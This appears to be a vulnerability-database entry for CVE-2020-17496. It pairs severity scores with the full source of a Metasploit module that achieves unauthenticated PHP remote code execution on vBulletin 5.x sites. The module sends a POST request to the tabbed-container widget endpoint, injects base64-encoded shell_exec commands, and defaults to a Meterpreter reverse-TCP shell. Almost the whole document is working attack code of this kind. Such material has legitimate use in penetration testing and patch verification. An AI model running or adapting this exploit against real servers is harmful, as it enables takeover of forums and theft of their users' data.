7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.975 High
EPSS
Percentile
100.0%
This module exploits a logic bug within the template rendering code in vBulletin 5.x. The module uses the vBulletin template rendering functionality to render the βwidget_tabbedcontainer_tab_panelβ template while also providing the βwidget_phpβ argument. This causes the former template to load the latter bypassing filters originally put in place to address βCVE-2019-16759β. This also allows the exploit to reach an eval call with user input allowing the module to achieve PHP remote code execution on the target. This module has been tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.',
'Description' => %q{
This module exploits a logic bug within the template rendering code in vBulletin 5.x.
The module uses the vBulletin template rendering functionality to render the
'widget_tabbedcontainer_tab_panel' template while also providing the 'widget_php' argument.
This causes the former template to load the latter bypassing filters originally put in place
to address 'CVE-2019-16759'. This also allows the exploit to reach an eval call with user input
allowing the module to achieve PHP remote code execution on the target. This module has been
tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.
},
'Author' => [
'Zenofex <zenofex[at]exploitee.rs>' # (@zenofex) PoC and Metasploit module
],
'References' => [
['URL', 'https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/'],
['CVE', '2020-17496']
],
'DisclosureDate' => '2020-08-09',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'windows'],
'Arch' => [ARCH_CMD, ARCH_PHP],
'Privileged' => true,
'Targets' => [
[
'Meterpreter (PHP In-Memory)',
{
'Platform' => 'php',
'Arch' => [ARCH_PHP],
'Type' => :php_memory,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'DisablePayloadHandler' => false
}
}
],
[
'Unix (CMD In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'DisablePayloadHandler' => true
}
}
],
[
'Windows (CMD In-Memory)',
{
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/generic',
'DisablePayloadHandler' => true
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
])
end
def cmd_payload(command)
"echo #{datastore['PHP_CMD']}(base64_decode('#{Rex::Text.encode_base64(command)}')); exit;"
end
def execute_command(command)
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ajax/render/widget_tabbedcontainer_tab_panel'),
'encode_params' => true,
'vars_post' => {
'subWidgets[0][template]' => 'widget_php',
'subWidgets[0][config][code]' => command
}
})
if response && response.body
return response
end
false
end
def check
rand_str = Rex::Text.rand_text_alpha(8)
received = execute_command(cmd_payload("echo #{rand_str}"))
if received && received.body.include?(rand_str)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Sending #{datastore['PAYLOAD']} command payload")
case target['Type']
when :unix_cmd, :windows_cmd
cmd = cmd_payload(payload.encoded)
vprint_status("Generated command payload: #{cmd}")
received = execute_command(cmd)
if received && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic")
print_warning('Dumping command output in body response')
if received.body.empty?
print_error('Empty response, no command output')
return
end
print_line(received.body.to_s)
end
when :php_memory
vprint_status("Generated command payload: #{payload.encoded}")
execute_command(payload.encoded)
end
end
end
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.975 High
EPSS
Percentile
100.0%